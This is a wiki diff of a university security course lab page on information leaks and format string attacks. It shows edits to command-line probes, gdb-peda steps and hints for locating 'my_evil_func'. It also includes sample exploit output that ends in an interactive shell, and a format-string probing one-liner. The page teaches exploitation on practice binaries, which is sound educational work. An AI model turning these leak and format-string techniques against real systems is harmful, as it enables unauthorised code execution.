This shows you the differences between two versions of the page.
| 
    cns:labs:lab-07 [2020/11/23 19:05] mihai.dumitru2201 [Basic Format String Attack]  | 
    
    cns:labs:lab-07 [2022/11/21 14:29] (current) mihai.dumitru2201 [Basic Format String Attack]  | 
    ||
|---|---|---|---|
| Line 37: | Line 37: | ||
| We can test this using: | We can test this using: | ||
| <code> | <code> | ||
| - | $ python -c 'print("A"*32)' | ./basic_info_leak  | + | $ python -c 'import sys; sys.stdout.buffer.write(b"A"*32)' | ./basic_info_leak  | 
| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�8� | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�8� | ||
| </code> | </code> | ||
| Line 43: | Line 43: | ||
| In order to check the hexadecimal values of the leak, we pipe the output through ''xxd'': | In order to check the hexadecimal values of the leak, we pipe the output through ''xxd'': | ||
| <code> | <code> | ||
| - | $ python -c 'print("A"*32)' | ./basic_info_leak | xxd | + | $ python -c 'import sys; sys.stdout.buffer.write(b"A"*32)' | ./basic_info_leak | xxd | 
| 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
| 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
| Line 129: | Line 129: | ||
| $ gdb -q ./info_leak | $ gdb -q ./info_leak | ||
| Reading symbols from ./info_leak...done. | Reading symbols from ./info_leak...done. | ||
| - | gdb-peda$ b printf | + | gdb-peda$ b my_main | 
| Breakpoint 1 at 0x400560 | Breakpoint 1 at 0x400560 | ||
| gdb-peda$ r < <(python -c 'import sys; sys.stdout.write(32*"A")') | gdb-peda$ r < <(python -c 'import sys; sys.stdout.write(32*"A")') | ||
| Starting program: info_leak < <(python -c 'import sys; sys.stdout.write(32*"A")') | Starting program: info_leak < <(python -c 'import sys; sys.stdout.write(32*"A")') | ||
| [...] | [...] | ||
| + | |||
| + | # Do next instructions until after the call to printf. | ||
| + | gdb-peda$ ni | ||
| + | .... | ||
| gdb-peda$ x/12g name | gdb-peda$ x/12g name | ||
| Line 181: | Line 185: | ||
| <note tip> | <note tip> | ||
| - | Same as above, use ''nm'' to determine address of the ''my_evil_func()'' function. | + | Same as above, use ''nm'' to determine address of the ''my_evil_func()'' function. | 
| + | When sending your exploit to the remote server, adjust this address according to the binary running on the remote endpoint. The precompiled binary can be found in [[cns:resources:repo|the CNS public repository]]. | ||
| </note> | </note> | ||
| Line 193: | Line 198: | ||
| <note tip> | <note tip> | ||
| - | In case of a successful exploit the program will return with the ''42'' error code in the ''my_evil_func()'' function, same as below: | + | In case of a successful exploit the program will spawn a shell in the ''my_evil_func()'' function, same as below: | 
| <code> | <code> | ||
| $ python exploit.py  | $ python exploit.py  | ||
| Line 200: | Line 205: | ||
| [*] old_rbp is 0x7fffffffdd40 | [*] old_rbp is 0x7fffffffdd40 | ||
| [*] return address is located at is 0x7fffffffdd38 | [*] return address is located at is 0x7fffffffdd38 | ||
| - | [*] Process './info_leak' stopped with exit code 42 (pid 6422) | + | [*] Switching to interactive mode | 
| + | Returning from main! | ||
| + | $ id | ||
| + | uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) | ||
| </code> | </code> | ||
| </note> | </note> | ||
| Line 290: | Line 298: | ||
| </code> | </code> | ||
| - | We need that number to be ''200''. You can fine tune the format string by using a construct such as ''%32llx'' to print a number on ''32'' characters instead of a maximum of ''16'' characters. See how much extra room you need and see if you reach ''200'' bytes. | + | We need that number to be ''0x300''. You can fine tune the format string by using a construct such as ''%32llx'' to print a number on ''32'' characters instead of a maximum of ''16'' characters. See how much extra room you need and see if you reach ''0x300'' bytes. | 
| <note important> | <note important> | ||
| Line 298: | Line 306: | ||
| After the plan is complete, write down the attack by filling the ''TODO'' lines in the ''exploit.py'' solution skeleton. | After the plan is complete, write down the attack by filling the ''TODO'' lines in the ''exploit.py'' solution skeleton. | ||
| - | After you write 200 chars in v, you should obtain shell | + | /* | 
| + | <note tip> | ||
| + | When sending your exploit to the remote server, adjust this address according to the binary running on the remote endpoint. The precompiled binary can be found in [[cns:resources:repo|the CNS public repository]]. | ||
| + | </note> | ||
| + | */ | ||
| + | |||
| + | After you write 0x300 chars in v, you should obtain shell | ||
| <code> | <code> | ||
| - | $ python exploit64.py | + | $ python exploit.py | 
| [!] Could not find executable 'basic_format_string' in $PATH, using './basic_format_string' instead | [!] Could not find executable 'basic_format_string' in $PATH, using './basic_format_string' instead | ||
| [+] Starting local process './basic_format_string': pid 20785 | [+] Starting local process './basic_format_string': pid 20785 | ||
| Line 361: | Line 375: | ||
| By trial and error or by using GDB (breakpoint on ''printf'') we can determine where the buffer starts | By trial and error or by using GDB (breakpoint on ''printf'') we can determine where the buffer starts | ||
| <code bash> | <code bash> | ||
| - | $ ./format "$(python -c 'import sys; sys.stdout.buffer.write(b"ABCD" + b"%08x\n  " * 200)')"  | grep -n 41 | head | + | $ ./format "$(python -c 'import sys; sys.stdout.buffer.write(b"ABCD" + b"%08x\n  " * 0x300)')"  | grep -n 41 | head | 
| 10: ffffc410 | 10: ffffc410 | ||
| 52: ffffcc41 | 52: ffffcc41 | ||